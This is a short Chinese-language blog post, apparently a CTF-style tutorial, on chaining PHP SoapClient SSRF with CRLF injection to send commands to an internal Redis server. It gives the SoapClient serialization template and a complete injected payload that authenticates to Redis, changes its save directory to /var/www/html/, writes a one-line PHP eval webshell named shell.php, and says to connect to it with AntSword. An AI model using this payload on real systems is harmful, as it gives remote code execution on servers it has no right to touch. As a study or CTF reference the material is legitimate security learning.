SoapClientSSRF+CRLF Injection+Redis

SoapClientSSRF+CRLF Injection+Redis

CRLF Injection漏洞的利用与实例分析 – phith0n

利用SoapClient类进行SSRF+CRLF攻击-CSDN博客

soap导致的SSRF-先知社区

SoapClientSSRF:

SOAP:webService三要素(SOAP、WSDL、UDDI)之一, SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口,其采用HTTP作为底层通讯协议,XML作为数据传送的格式。其中的SoapClient类是用来创建soap数据报文,与wsdl接口进行交互的,同时这个类下也是有反序列化中常常用到的__call()魔术方法。所以可以理解为当php调用不存在的方法时,自动用soapclient发一个包,且此时发包者是服务器本身,由此我们便打出了一个ssrf

格式:

<?php
$a = new SoapClient(null, array(‘location’ => "http://xxx.xxx.xxx",
‘uri’ => "123"));
echo serialize($a);
?>

第一个参数是用来指明是否是wsdl模式利用时设置为null,第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置locationuri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

CRLF Injection:

CRLF是”回车 + 换行”(rn)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。

Redis:

Redis(Remote Dictionary Server) 是一个开源的、基于内存的键值存储系统,常被用作:数据库,缓存,消息中间件。

以下是一些指令:

SET key value [EX seconds] [PX milliseconds]:设置 key 的值(可选过期时间)

GET key:获取 key 的值

INCR key:将 key 的值 +1(必须是整数)

DECR key:将 key 的值 -1

APPEND key value:追加字符串到 key 的值末尾

AUTH 20251206:尝试使用密码 `20251206` 进行登录

CONFIG SET dir /var/www/html/:将保存文件的目录改为/var/www/html/

CONFIG SET dbfilename shell.php:将默认文件名dbfilename改为shell.php

SET x '<?= @eval($_POST[1]) ?>':将x键的值设置为'<?= @eval($_POST[1]) ?>'

SAVE:保存文件

联合使用:当目标服务调用了不存在方法,且存在可控SoapClient,使用Redis且密码已知时,我们可以打:

SoapClient(null, array('location' => "http://xxx.xxx.xxx", 'uri' => "hello"rnAUTH PASSWORDrnCONFIG SET dir /var/www/html/rnCONFIG SET dbfilename shell.phprnSET x '<?= @eval($_POST[1]) ?>'rnSAVErnhello");

上传木马然后用蚁剑连接。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇